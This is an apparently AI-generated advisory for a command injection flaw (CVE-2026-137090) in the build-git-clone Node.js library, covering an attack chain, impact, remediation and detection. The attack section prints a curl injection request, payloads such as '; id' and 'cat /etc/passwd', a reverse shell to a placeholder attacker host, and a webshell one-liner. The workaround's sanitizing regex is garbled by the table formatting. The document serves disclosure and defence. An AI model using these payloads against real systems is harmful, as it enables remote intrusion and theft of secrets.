CVE-2026-137090 — Emanuelmoraes-dev Build-git-clone — CWE-78
build-git-clone before 1.0.4 contains an OS command injection vulnerability in the clone() function that allows attackers to execute commands by supplying crafted repository URLs. Attackers can embed shell metacharacters such as ; or $() in the url argument, which is concatenated into a sh -c command, to execute operating system commands with Node.js process privileges.
build-git-clone before 1.0.4 contains an OS command injection vulnerability in the clone() function that allows attackers to execute commands by supplying crafted repository URLs. Attackers can embed shell metacharacters such as ; or $() in the url argument, which is concatenated into a sh -c command, to execute operating system commands with Node.js process privileges.
🎯 What is this vulnerability?
CVE‑2026‑137090 is an OS command injection flaw (CWE‑78) in the clone() function of the build‑git‑clone library, affecting all releases prior to 1.0.4.
The function builds a shell command by concatenating the user‑supplied repository URL directly into a sh -c invocation, e.g.:
const cmd = `sh -c "git clone ${url}"`;
child_process.exec(cmd, …);Because the URL is not sanitized or validated, an attacker can inject shell metacharacters (;, &&, $(), |, etc.) that are interpreted by the shell. The injected payload is executed with the same privileges as the Node.js process, giving the attacker full remote code execution (RCE) on the host.
Key missing checks:
| Layer | Missing / Flawed |
|---|---|
| Input validation | No sanitization or whitelist on the url argument. |
| Command construction | Direct string concatenation into a shell command (sh -c). |
| Authentication/Authorization | The API that calls clone() is exposed without any auth guard in the affected code paths. |
| Execution context | The command runs under the Node.js process user (often root or a privileged service account). |
The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects that the flaw is remote, low‑complexity, unauthenticated, no‑UI, and impacts confidentiality, integrity, and availability.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow to exploit this flaw in a typical Node.js web service that uses build-git-clone to clone remote repositories on demand.
NOTE: The exact HTTP endpoint and payload format are illustrative; the vulnerability exists wherever clone() is called with a user‑supplied URL.1. Discovery & Reconnaissance
| Step | Technique | What the attacker looks for |
|---|---|---|
| a. Identify the library | Search the target’s source code or package metadata (package.json, npm audit, or npm ls build-git-clone). | [email protected] (or earlier). |
| b. Verify exposed API | Enumerate endpoints (e.g., /clone, /git/clone) via automated tools (DirBuster, Burp Suite). | POST /api/clone that accepts a JSON body with a url field. |
| c. Confirm unauthenticated access | Send a benign request to the endpoint and observe the response. | 200 OK with a JSON payload. |
| d. Confirm command execution path | Send a request with a URL that includes a harmless command (e.g., ; echo TEST) and check logs or response. | If the service logs sh -c "git clone https://example.com/repo.git; echo TEST", the command is executed. |
2. Exploitation
Goal: Execute arbitrary shell commands.
2.1 Crafting the payload
The attacker crafts a repository URL that contains shell metacharacters. Two common payloads:
| Payload | Purpose |
|---|---|
https://example.com/repo.git; id | Executes id to reveal the process user. |
https://example.com/repo.git; $(whoami) | Uses command substitution to run whoami. |
2.2 Sending the request
Assuming the API accepts JSON:
curl -X POST http://target.example.com/api/clone \
-H "Content-Type: application/json" \
-d '{"url":"https://example.com/repo.git; id"}'Illustrative response (if the service echoes the command output):
{
"status":"success",
"output":"uid=0(root) gid=0(root) groups=0(root)"
}If the service does not echo output, the attacker can still infer success by observing side effects (e.g., a file created by the injected command).
2.3 Validating RCE
- Command execution:
id,whoami,uname -a, orcat /etc/passwd. - Persistence: Create a reverse shell (
bash -i >& /dev/tcp/attacker/4444 0>&1). - Privilege escalation: If the Node.js process runs as root, the attacker gains root access.
- Web applications that allow users to trigger repository cloning (e.g., CI/CD pipelines, code review tools) become a vector for RCE.
- Microservice architectures where services clone dependencies on demand are at risk of being hijacked.
- Enterprise deployments where the Node.js process runs with elevated privileges (e.g., system services) face catastrophic compromise.
3. Post‑exploitation
Once the attacker has executed arbitrary commands, they can:
1. Install a webshell (e.g., node -e "require('http').createServer((_,res)=>{eval(require('child_process').execSync('cat /etc/passwd').toString());res.end();}).listen(8080)").
2. Extract secrets: Read environment variables, config files, or database credentials.
3. Move laterally: Use the compromised host as a pivot point to reach other internal services.
4. Maintain persistence: Add a cron job or systemd service that spawns a reverse shell on boot.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Arbitrary commands can read any file the Node.js process can access, including secrets, credentials, and sensitive data. |
| Integrity (I:H) | The attacker can modify files, overwrite binaries, or tamper with configuration, leading to data corruption or sabotage. |
| Availability (A:H) | The attacker can crash the service (e.g., kill -9 $(pgrep node)), delete critical files, or launch DoS attacks from the compromised host. |
| Privilege Escalation | If the Node.js process runs as root or a privileged user, the attacker gains full system control. |
| Lateral Movement | The compromised host can serve as a foothold into the internal network, exposing additional assets. |
Practical consequences for affected environments:
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected | Fixed |
|---|---|
build-git-clone < 1.0.4 | Upgrade to 1.0.4 or later. |
| Action | Run npm install build-git-clone@^1.0.4 or update the lockfile. Verify the new version by inspecting npm ls build-git-clone. |
Why 1.0.4? The maintainers replaced the unsafesh -ccall withchild_process.execFileand added URL validation against a whitelist of allowed protocols (https://,git://,ssh://). No command injection is possible after the change.
2. Workarounds (if upgrade is not immediately possible)
| Mitigation | How to implement | |
|---|---|---|
| Input sanitization | Strip or escape shell metacharacters from the url before passing to clone(). Example: url.replace(/[;& | $()]/g, ''). |
Use execFile | Replace the vulnerable call with child_process.execFile('git', ['clone', url]). | |
| Restrict URLs | Enforce a whitelist of allowed hostnames or IP ranges. Reject any URL that does not match the whitelist. | |
| Run as non‑privileged user | Ensure the Node.js process runs under a least‑privilege account (e.g., nobody). |
| WAF / ModSecurity rule | Block requests containing shell metacharacters in the url parameter. Example rule (ModSecurity v3 syntax):
SecRule REQUEST_URI "@rx /api/clone" \
"chain,phase:2,block,msg:'Potential OS command injection via clone URL',id:10001"
SecRule ARGS:url "@rx [;&|$()]" \
"t:none,t:urlDecodeUni"This rule triggers when the url argument contains any of the characters that could lead to command injection.3. Detection
| Indicator | How to detect | |
|---|---|---|
| HTTP requests with suspicious URLs | Log entries where url contains ;, &&, $(, or | . |
| Child process execution logs | Look for sh -c or git clone commands that include semicolons or parentheses. | |
| Unexpected system commands | Monitor for id, whoami, cat /etc/passwd, or reverse shell binaries being executed from the Node.js process. | |
| Audit logs | Use auditd or sysdig to watch for execve syscalls originating from the Node.js binary with suspicious arguments. |
Sample log snippet (syslog):
Aug 12 14:23:45 host node[12345]: sh -c "git clone https://example.com/repo.git; id"If such entries appear without a legitimate reason, they are likely exploitation attempts.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query